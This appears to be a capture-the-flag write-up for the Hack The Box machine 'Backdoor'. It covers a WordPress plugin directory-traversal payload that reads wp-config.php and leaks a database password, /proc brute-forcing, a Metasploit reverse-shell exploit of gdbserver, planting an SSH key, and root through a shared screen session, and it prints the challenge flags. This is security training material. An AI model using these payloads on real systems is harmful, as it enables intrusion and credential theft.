HACKTHEBOX

Hack The Box - Writeup

Machine: Backdoor

Author: c1sc0

Date: November 24, 2021

c1sc0 Guru
Rank: 377 287 148
hackthebox.com

Contents

1 Overview

Name	IP	Difficulty
Backdoor	10.129.111.51	Easy

2 Recon

2.1 nmap

We start with an nmap scan as always:

```
PORT     STATE SERVICE REASON         VERSION
22/tcp   open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu ⤸
    Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDqz2EAb2SBSzEIxcu+9dzgUZzDJGdCFWjwuxjhwtpq⤸
    3sGiUQ1jgwf7h5BE+AlYhSX0oqoOLPKA/QHLxvJ9sYz0ijBL7aEJU8tYHchYMCMu0e8a71p3⤸
    UGirTjn2tBVe3RSCo/XRQOM/ztrBzlqlKHcqMpttqJHphVA0/1dP7uoLCJlAOOWnW0K311⤸
    DXkxfOiKRc2izbgfgimMDR4T1C17/oh9355TBgGGg2F7AooUpdtsahsiFItCRkvVB1G7⤸
    DQiGqRTWsFaKBkHPVMQFaLEm5DK9H7PRwE+UYCah/Wp95NkwWj3u3H93p4V2y0Y6kdjF/L+BRmB44⤸
    XZXm2Vu7BN0ouuT1SP3zu8YUe3FHshFIml7Ac/8zL1twLpnQ9Hv8KXnNKPoHgrU+sh35cd0⤸
    JbCqyPFG5yziL8smr7Q4z9/XeATKzL4bcjG87sGtZMtB8alQS7yFA6wmqyWqLFQ4rpi2S0⤸
    CoslyQnighQSwNaWuBYXvOLi6AsgckJLS44L8LxU4J8=
|   256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2⤸
    VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBIuoNkiwwo7nM8ZE767bKSHJh+⤸
    RbMsbItjTbVvKK4xKMfZFHzroaLEe9a2/P1D9h2M6khvPI74azqcqnI8SUJAk=
|   256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIB7eoJSCw4DyNNaFftGoFcX4Ttpwf+RPo0ydNk7yfqca
80/tcp   open  http    syn-ack ttl 63 Apache httpd 2.4.41 ((Ubuntu))
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-generator: WordPress 5.8.1
|_http-title: Backdoor &#8211; Real-Life
1337/tcp open  waste?  syn-ack ttl 63
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

Listing 2.1: nmap results

2.2 Port 80 web

Looking at the start of the gobuster run this looks to be a WordPress instance:

```
> gobuster dir -w ~/tools/wordlists/SecLists/Discovery/Web-Content/directory-list-
    lowercase-2.3-medium.txt -u http://10.129.111.51 -o gobuster/root.log
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.129.111.51
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /home/patrick/tools/wordlists/SecLists/Discovery/Web-
    Content/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/11/24 11:52:58 Starting gobuster in directory enumeration mode
===============================================================
/wp-content           (Status: 301) [Size: 319] [--> http://10.129.111.51/wp-
    content/]
/wp-includes          (Status: 301) [Size: 320] [--> http://10.129.111.51/wp-
    includes/]
/wp-admin             (Status: 301) [Size: 317] [--> http://10.129.111.51/wp-admin
    /]
/server-status        (Status: 403) [Size: 278]

===============================================================
2021/11/24 12:06:01 Finished
===============================================================
```

Listing 2.2: gobuster

So lets run wp-scan on it. The crucial lines are:

```
> wpscan --url http://10.129.111.51 -e ap --plugins-detection aggressive
...
[i] Plugin(s) Identified:

[+] akismet
 | Location: http://10.129.111.51/wp-content/plugins/akismet/
 | Latest Version: 4.2.1
 | Last Updated: 2021-10-01T18:28:00.000Z
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://10.129.111.51/wp-content/plugins/akismet/, status: 403
 |
 | The version could not be determined.

[+] ebook-download
 | Location: http://10.129.111.51/wp-content/plugins/ebook-download/
 | Last Updated: 2020-03-12T12:52:00.000Z
 | Readme: http://10.129.111.51/wp-content/plugins/ebook-download/readme.txt
 | [!] The version is out of date, the latest version is 1.5
 | [!] Directory listing is enabled
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://10.129.111.51/wp-content/plugins/ebook-download/, status: 200
 |
 | Version: 1.1 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://10.129.111.51/wp-content/plugins/ebook-download/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://10.129.111.51/wp-content/plugins/ebook-download/readme.txt
```

Listing 2.3: WPScan output

As we can see from the listing above there is a vulnerable plugin called *ebook-download*. In the exploit-db you can find a `Directory Traversal` PoC to use this vulnerability to read the `wp-config.php` file:

```
# Exploit Title: Wordpress eBook Download 1.1 | Directory Traversal
# Exploit Author: Wadeek
# Website Author: https://github.com/Wad-Deek
# Software Link: https://downloads.wordpress.org/plugin/ebook-download.zip
# Version: 1.1
# Tested on: Xampp on Windows7

[Version Disclosure]
=============================================
http://localhost/wordpress/wp-content/plugins/ebook-download/readme.txt
=============================================

[PoC]
=============================================
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-
    config.php
=============================================
```

Listing 2.4: exploit-db entry for ebook-download plugin

Lets use it to read the content then:

```
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );

/** MySQL database username */
define( 'DB_USER', 'wordpressuser' );

/** MySQL database password */
define( 'DB_PASSWORD', 'MQYBJSaD#DxG6qbm' );

/** MySQL hostname */
define( 'DB_HOST', 'localhost' );
```

Listing 2.5: Crucial content of wp-config.php

So this will be a dead end here. The creds are not useful at this moment. But we know there is a service listening on port `1337` so we try to find out what it is by using this vulnerability against the */proc/* directory bruteforcing the process IDs.

```
> ffuf -w numbers1-10000.txt -u "http://10.129.111.51/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../../../proc/FUZZ/cmdline" -mr 1337

 :: Method           : GET
 :: URL              : http://10.129.111.51/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../../../../../../../proc/FUZZ/cmdline
 :: Wordlist         : FUZZ: numbers1-10000.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Regexp: 1337
________________________________________________

955                     [Status: 200, Size: 268, Words: 11, Lines: 1, Duration: 282ms]
1337                    [Status: 200, Size: 172, Words: 1, Lines: 1, Duration: 282ms]
:: Progress: [10000/10000] :: Job [1/1] :: 1370 req/sec :: Duration: [0:00:07] :: Errors: 0 ::
```

Listing 2.6: ffuf bruteforcing process ids

If you look at the `cmdline` of PID `955` it will reveal:

```
/bin/sh -c 'while true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done'
```

So basically a `gdbserver` is running as user on port `1337`.

3 Initial foothold

So basically there is a metasploit module for that which we can use to gain a shell as `user`:

```
msf6 exploit(multi/gdb/gdb_server_exec) > run

[*] Started reverse TCP handler on 10.10.14.70:9001
[*] 10.129.111.51:1337 - Performing handshake with gdbserver...
[*] 10.129.111.51:1337 - Stepping program to find PC...
[*] 10.129.111.51:1337 - Writing payload at 00007ffff7fd0103...
[*] 10.129.111.51:1337 - Executing the payload...
[*] Sending stage (3012548 bytes) to 10.129.111.51
[*] Meterpreter session 2 opened (10.10.14.70:9001 -> 10.129.111.51:38858) at 2021
    -11-24 13:31:28 +0100

meterpreter >
meterpreter > getuid
Server username: user
meterpreter > cat user.txt
ea4ae0acb3591c2ff5214df99d0c95f3
meterpreter > pwd
/home/user
meterpreter > mkdir .ssh
Creating directory: .ssh
meterpreter > shell
Process 22221 created.
Channel 2 created.
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILOeVRSJcE+GiHd8xXm7a1cFh3o2qU0/lDm2TM4
    MQ0yN c1sc0@htb.eu" >> ~/.ssh/authorized_keys

# Other terminal

> ssh -l user -i c1sc0.key 10.129.111.51
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed 24 Nov 2021 12:33:03 PM UTC

  System load:  0.0               Processes:             230
  Usage of /:   44.6% of 6.74GB   Users logged in:       0
  Memory usage: 37%               IPv4 address for eth0: 10.129.111.51
  Swap usage:   0%


30 updates can be applied immediately.
9 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Mon Nov  8 17:00:17 2021 from 10.10.14.23
user@Backdoor:~$
```

Listing 3.1: Metasploit exploit to gain init foothold

I decided on placing an `authorized_keys` file to be able to dial in via ssh.

4 Privilege escalation

Running `linpeas` will not give us that much. Running `pspy` though will show us this:

```
2021/11/24 12:51:02 CMD: UID=0    PID=41224  | sleep 1
2021/11/24 12:51:03 CMD: UID=0    PID=41227  | find /var/run/screen/S-root/ -empty
     -exec screen -dmS root ;
2021/11/24 12:51:03 CMD: UID=0    PID=41228  | sleep 1
2021/11/24 12:51:06 CMD: UID=0    PID=41233  | find /var/run/screen/S-root/ -empty
     -exec screen -dmS root ;
```

There is a command which is ran periodically - `find`. So basically the user `root` is creating a screen session called `root`. With the argument `-x` you can attach to a screen session by providing the format `session/user`.

So all we do is connect to the session like:

```
user@Backdoor:/dev/shm$ screen -x root/root

root@Backdoor:~# whoami
root
root@Backdoor:~# cat /root/root.txt
39ecc645a6a433f8fb8409e60c8d681f
```

Listing 4.1: Be root using screen

HACKTHEBOX

Thanks for reading...

c1sc0